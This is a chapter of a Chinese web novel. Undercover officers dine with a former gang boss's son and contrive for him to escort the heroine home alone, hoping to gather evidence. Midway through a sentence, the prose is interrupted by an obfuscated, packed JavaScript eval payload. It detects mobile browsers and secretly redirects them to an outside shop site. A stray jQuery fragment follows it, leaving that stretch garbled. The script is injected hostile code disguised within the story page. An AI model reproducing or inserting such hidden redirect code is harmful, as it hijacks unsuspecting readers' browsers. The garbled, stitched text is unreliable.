第二十五章
不多时,侍者推着小推车进门,一箱包装精致的常温酸奶整齐码在托盘上,轻轻放在谢清圆手边,又陆续添上几盅虫草乌鸡汤,分发给桌旁众人。
“多谢邵生。”谢清圆随手拆开一盒酸奶,吸管戳开薄膜。
邵迟单手支着下颌,静静望着她,语气放得轻缓柔和:“你可以坐得离我近一点,不要对我那么防备,我不是坏人!”
“话不是那样说,邵生。”谢清圆指尖捻着酸奶吸管,微微侧过身子往侧边挪了小半寸,“之前铂悦私宴初见你,你身边时时刻刻跟着好几个保镖,后头又撞见那位Katie小姐为了你闹得天翻地覆,我难免会多想几分。”
邵迟低低笑了一声,抬手端起身前花雕浅抿一口,“保镖不过是家中长辈安排的,早年生意上结下不少对头,出门随行只是求一份安稳。至于Katie,当初不过是逢场作戏应付圈子应酬,早已两清,往后她不会再出现在你我跟前。”
“麻烦?你家大业大,家里能有什么麻烦啊?”谢清圆闻言心头微动,顺势又往他身侧凑近了些,手肘轻搭桌面,“旁人都说弘昱集团在港城一手遮天,往来皆是名流富商,哪里还用得上时时提防旁人。”
邵迟指尖摩挲白瓷酒杯杯壁,眼底淡去几分散漫,添了层不易察觉的沉郁:“我daddy年轻时候是道上领头的老大,早年拼地盘、闯跨境路子,树敌无数,那些旧仇旧怨,不会随着生意洗白就一笔勾销。”
“哇,好厉害哇!”谢清圆故作惊羡地睁圆双眼,唇角弯起明艳的弧度,“外头都说邵家产业横跨贸易、仓储、会所,几乎富可敌国,凭着这般家底,完全可以压下所有麻烦。”
“这种事想想就行。”邵迟轻轻摇头,垂眸望着杯中晃动的酒液,“我daddy十多年前就彻底退出江湖,把灰色渠道尽数斩断,一心转做正规进出口贸易。”
谢清圆垂眼戳了戳碗里炖软的花胶,语气添了几分真切的共情:“这般说来,邵先生活得也不算自在,看似坐拥万贯家财,实则处处被旧事牵绊,挺有身不由己的难处。”
“我daddy当年拼了半辈子攒下家底,大半积蓄全都拿出来铺路洗白产业,余下的尽数拿出来,供我在美国读完商科硕士。”邵迟抬眼看向窗外夜色,声音轻了几分,“他一心想让我彻底脱离从前的泥潭,做干净合规的正经生意。”
“单单海外留学就要耗费无数钱财,邵老先生对你是实打实的上心。”谢清圆顺势捧了一句,“换做旁人,只怕舍不得砸这么多资源栽培后辈。”
“总之我如今经手的全是正当报关、合规流转的保税商贸。”邵迟抬眸,目光直直落在谢清圆脸上。
谢清圆浅浅颔首,小口吸了一口酸奶,柔声应道:“原来是这样,先前听街上商铺老板闲谈,总胡乱编排弘昱的生意,我还半信半疑,如今听邵生亲口说来,才算分清虚实。”
邵迟视线扫过她身上那件奶杏色针织裙,漫不经心转了话题:“看来你干爹对你挺好,能让你住顺安大厦那样整洁独立的房子。”
“不是干爹接济我的。”谢清圆握着酸奶盒的指尖微微一顿,飞快想好说辞搪塞,“是我自己日夜辗转几份零工,省吃俭用攒下租金,又恰好碰上房东急着转租,租金压得低,才侥幸住进去。”
“不是?”邵迟眉峰微挑,眼底掠过一丝淡淡的探究,“那你先前在铂悦做服务生,如今去云顶做领班,两份服务类工作薪资都不算顶尖,单凭做waitress能赚很多钱?平日能收下不少小费吗?”
谢清圆立刻灵巧转开话题,抬眼望向桌中央一盘还未动筷的脆皮烧鸭,轻快开口:“你吃不吃烤鸭啊?这盘外皮烤得油亮酥脆,闻着香气十足。”
“烤鸭?”邵迟顺着她的视线看向餐盘,抬手拿起公筷,主动撕下一块油脂匀嫩的鸭胸,稳稳放进谢清圆碗中,“你爱吃便多吃些,不用客气。”
“待会吃完饭时间还早,打算去什么地方?”邵迟指尖搭在杯沿,目光落在谢清圆明艳的侧脸上,语气藏着几分不易察觉的期待。
谢清圆指尖捏着空酸奶纸盒,轻轻放在桌角,“打算和daddy他们回家休息了。“
邵迟握着酒杯的手微微一顿,眼底浮起明显几分失落,嗓音淡了些许,“这样……“
林Sir一眼看穿他眼底落空的情绪,心里飞快盘算,若是今晚能单独留邵迟送谢清圆回公寓,刚好能顺势引他踏入那台伪装测谎躺椅,采集一整套完整的生理情绪数据,当即笑着开口打圆场,“不是,邵生。我待会要带着他们去老街粮油铺盘点库存,账目积压了好几天,今晚必须连夜核对清楚,一大家子都得搭上手忙活,阿圆明天要上班,不方便跟着熬夜奔波,只能自己一个人在家里。“
这话一出,圆桌另一侧的段Sir几人瞬间心领神会,纷纷配合着附和。
Eland连忙放下筷子,连连点头:“没错没错,铺子里堆积了一大堆进货单据,账本堆得半人高,今晚少一个人都核对不完,只能委屈阿圆独自回去。”
Mini抬手揉了揉肩头,故作疲惫:“清点米面粮油、登记出入货台账要折腾大半宿,我们一群人怕是要忙到凌晨才能脱身,阿圆昨日在云顶应酬宾客本就劳顿,跟着我们熬通宵实在吃不消。”
邵迟闻言,眼底的失落一扫而空,直截了当地提议:“既然如此,吃完我送阿圆独自回去,顺道陪她在公寓坐一会,等你们清点完账目回来我再离开,也免得她一个女孩子独处冷清。”
林Sir心中大喜,面上还要装出客套推脱的模样,连连摆手:“这怎么好麻烦邵生专程绕路相送,耽误你的私人时间。”
“举手之劳,谈不上耽误。”邵迟淡淡一笑,视线落回谢清圆身上。
再假意推辞反倒显得刻意,林Sir只能顺水推舟应下来:“那便劳烦邵生多照看阿圆一程,我们盘点完铺子里的账目,立刻赶回顺安大厦。”
一旁的段Sir端起茶杯抿了一口,余光悄悄扫过谢清圆,不动声色递去一个示意的眼神,提醒她把握机会,尽量拉长和邵迟独处闲谈的时长。
谢清圆心领神会,浅浅弯起唇角,轻声道谢:“那就麻烦邵生了。”
席间众人默契地加快动筷速度,只顾着快速扫光桌上菜品,时不时打包几份剩余硬菜,留着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772982|208767||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晚间盘点账目时充当宵夜。
不多时一桌丰盛宴席尽数收尾,侍者上前结算账单,邵迟没多看账单上的数字,随手递出黑卡,全程干脆利落。
一行人结伴走出私厨庭院,外头夜色浓稠,湿冷薄雾重新笼罩整条老街,街边路灯晕开一圈圈朦胧暖黄。
林Sir带着段Sir、Mini、Peter、Eland、阿杰一行人假意往老街粮油铺的方向走,临走前还特意回头朝二人挥了挥手,叮嘱谢清圆锁好门窗,有事及时打电话联系。
黑色加长林肯停在路边,阿银早已拉开车后排车门静候。
谢清圆跟着邵迟弯腰坐进车厢,这一回车厢里再没有拥挤嘈杂的一群人,空间宽敞空旷,只剩两人相对而坐,安静得只能听见窗外车流掠过路面的轻响。
车厢里只剩轻柔的引擎低鸣,窗外流动的霓虹碎在车窗玻璃上,化开一片朦胧暖色。
“明天事情多不多?”邵迟侧过头,目光落在她垂落的发梢,“要是忙,我便不耽搁你休息。”
“不多,挺清闲的。”谢清圆抬眼弯了弯唇角,“会所有好几个领班,我上午只需要核对一遍前厅台账。”
邵迟指尖轻轻敲了敲膝盖,斟酌片刻才缓缓开口:“我带你去置地广场,你帮我看看衣服吧。”
谢清圆眼底掠过一丝错愕,“邵生衣柜里全是大牌定制成衣,哪用得着我把关?我眼光俗气,怕挑不出合你心意的款式。”
“近来忽然不喜欢,”邵迟垂眸轻笑,肩头松弛地靠在真皮座椅,“打算买些新衣服,你审美好,帮我看看休闲款、日常能穿的便装。”
阿银坐在副驾驶位,透过后视镜悄悄瞟了一眼后排二人,嘴角不受控制抽搐了下,压低声音小声嘟囔,“专门定制的高定成衣堆了半间衣帽间不穿,非要去商场买量产成衣,啧啧啧,摆明了醉翁之意不在酒。”
这话音量压得极低,堪堪只飘进前排狭小空间,后排两人听得模模糊糊,听不清完整字句。
邵迟眉峰微蹙,朝前排淡淡丢去一句:“专心开车,少多嘴。”
阿银立刻闭紧嘴巴,挺直腰背目视前方,不敢再胡乱嘀咕。
“行吧!”谢清圆应了下来,“既然邵生信得过我的眼光,那我便尽力帮你挑选,只是我没有给男人挑过衣服,挑得不合心意你可别嫌弃。”
邵迟低笑出声,眼底漾开浅淡柔和的光:“你挑的,我都愿意穿。”
车厢穿过层层叠叠的雾色,置地广场璀璨的灯火隔着厚重车窗扑面而来,成片奢侈品橱窗亮得晃眼。
车子稳稳停在广场专属落客区,门童快步上前拉开车门,躬身行礼。
阿银先行下车,守在一旁拎好随身手包,目光不动声色扫过周遭往来行人,提防有无暗藏眼线。
邵迟率先迈步落地,侧身等谢清圆下来,顺手替她拢了拢被夜风吹乱的鬓发,指尖擦过耳尖一瞬,温温的触感转瞬分开。
谢清圆耳尖骤然发烫,下意识往侧边挪了半步,装作观赏街边橱窗里陈列的珠宝,掩饰心底慌乱。
“在想什么?”邵迟见她垂着脑袋,神不守舍的模样,轻声发问。